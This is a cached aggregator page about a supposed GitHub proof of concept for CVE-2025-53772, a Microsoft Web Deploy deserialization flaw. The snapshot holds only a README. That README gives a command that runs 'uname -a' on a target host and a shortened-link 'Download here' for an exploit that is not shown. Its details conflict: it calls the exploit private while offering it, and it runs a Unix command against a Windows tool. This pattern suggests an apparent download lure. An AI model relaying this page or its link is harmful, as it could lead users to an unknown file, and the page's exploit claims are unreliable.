CVE-2025-53772 PoC — Microsoft Web Deploy 代码问题漏洞

Source

https://github.com/fortihack/CVE-2025-53772

Associated Vulnerability

Title:Microsoft Web Deploy 代码问题漏洞 (CVE-2025-53772)
Description:Microsoft Web Deploy是美国微软（Microsoft）公司的一个扩展性强的客户端–服务器工具。 Microsoft Web Deploy存在代码问题漏洞。攻击者利用该漏洞可以执行代码。

Readme

# CVE-2025-53772

## Overview

CVE-2025-53772 is a notable vulnerability found in Microsoft's Web Deploy, a tool widely utilized for deploying web applications and services.

## Details

- **CVE ID**: [CVE-2025-53772](https://nvd.nist.gov/vuln/detail/CVE-2025-53772)
- **Published**: 2025-08-12
- **Impact**: Confidentiality
- **Exploit Availability**: Not public, only private.

## Vulnerability Description

This vulnerability arises from the improper handling of untrusted data during the deserialization process, which can allow an authorized attacker to execute arbitrary code over a network.

## Affected Versions

ANY Web Deploy 4.0

## Running

To run exploit you need Python 3.9.
Execute:
```bash
python exploit.py -h 10.10.10.10 -c 'uname -a'
```

## Exploit:
### [Download here](http://bit.ly/484dFQ8)

File Snapshot


 [4.0K]  /data/pocs/5dfe5c04cda73b7a9d773fd264c0f902021ad812
└── [ 814]  README.md

0 directories, 1 file

Shenlong Bot has cached this for you

Remarks

1. It is advised to access via the original source first.

2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).

3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.

Goal Reached Thanks to every supporter — we hit 100%!